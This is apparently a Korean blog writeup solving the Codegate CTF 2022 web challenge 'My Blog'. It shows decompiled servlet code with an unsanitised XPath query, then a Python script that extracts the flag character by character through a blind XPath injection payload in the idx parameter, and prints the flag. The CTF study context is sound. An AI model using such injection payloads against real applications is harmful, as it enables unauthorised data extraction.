본문 바로가기

웹해킹/CTF

Codegate CTF 2022 WEB My Blog Writeup

반응형

Codegate CTF 2022 WEB My Blog Writeup

1. My Blog Writeup

Description

I made a blog. Please check the security.
http://3.39.79.180

My Blog 실행화면

사이트에 접속하면 다음과 같은 화면이 나온다. Blog를 만들고 보안 체크를 해달라고 한다. 

 

 

My Blog Flag

Docker 파일에서 flag를 볼 수 있었는데 tomcat 서버에서 catalina.properties가 설정되어 있었다. 이 설정이 되어있는 경우 System.getProperty 같은 함수가 xpath를 사용할 때 내부적으로 쓸 수 있다고 한다. 

 

tomcat catalina.properties

서버를 시작할 때 검새하는 서버, 공유 로더, jar 등의 공유정보를 포함하도록 설정.

 

 

blogServlet_class decompile

이번 문제도 java문제이다. 바로 클래스 파일 찾아서 blogServlet.class를 디컴파일했다. 여기서 Ctrl + F로 xpath를 검색했더니  225~226번 줄에서 취약해 보이는 부분을 발견했다.

 

 

Xpath 관련 코드

String title = (String)xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING);
String content = (String)xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING);

"/blog/read?idx=1" 경로로 요청을 하면 글을 읽을 수 있었다. 코드에서 확인해보니 xpath.evaluateq 함수를 통해 idx값이 필터링 없이 전달되는 모습을 보이고 있다.  따라서 Xpath injection을 통해 flag를 찾을 수 있을 것이다.

 

XPath Injection

: XML 구조에 악의적인 행위를 일으키는 내용을 삽입하거나 Xpath를 조작하여 XML의 내용을 노출하는 취약점.

XPath 란

: 일종의 퀄리로 XML 데이터베이스 내용을 선택하고 조작하기 위하여 사용.

 

 

XML 데이터베이스

XML 표준 문서 구조를 계층형 트리 형태로 저장하거나 관리하기 위해 만든 데이터베이스이다. 데이터 중심 기반 또는 XML 문서 중심이고, XML 문서 형태로 저장/검증하며 문서 단위, 요소(element) 단위 검색 기능, 검색어 색인 저장 기술을 활용한다. 

 


exploit

import requests

cookies = {
    'JSESSIONID':'abcd1234',
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) Applewebkit/537.36(HTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
}

chars = "abcdef1234567890"
FLAG = "codegate2022{"
MY_TEXT = "asd"
for i in range(14, 14+32+1):
    for c in chars:
        print(i, c)
        params = (
            ('idx', f'1\'and substring(system-property(\'flag\'),{i},1)="{c}"and\'1'),
        )
        res = requests.get('http://3.39.79.180/blog/read', headers=headers, params=params, cookies=cookies, verify=False)
        if MY_TEXT in res.text:
            FLAG = FLAG + c
            print(FLAG)
            break

 

 

FLAG:codegate2022{bcbbc8d6c8f7ea1924ee108f108f38cc000f}

 

 

 


참고문헌

https://ar9ang3.tistory.com/70

https://domdom.tistory.com/entry/Codegate2022%EC%98%88%EC%84%A0-WEB-MYBLOG

https://adragos.ro/codegate-2022-preliminary/#myblog

https://github.com/theori-io/ctf/blob/master/2022/Codegate%202022%20Prequal%20Write%20up.pdf

https://ninetynine-2026.tistory.com/353

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=crehacktive3&logNo=220989527324

https://lopicit.tistory.com/466

 

 

728x90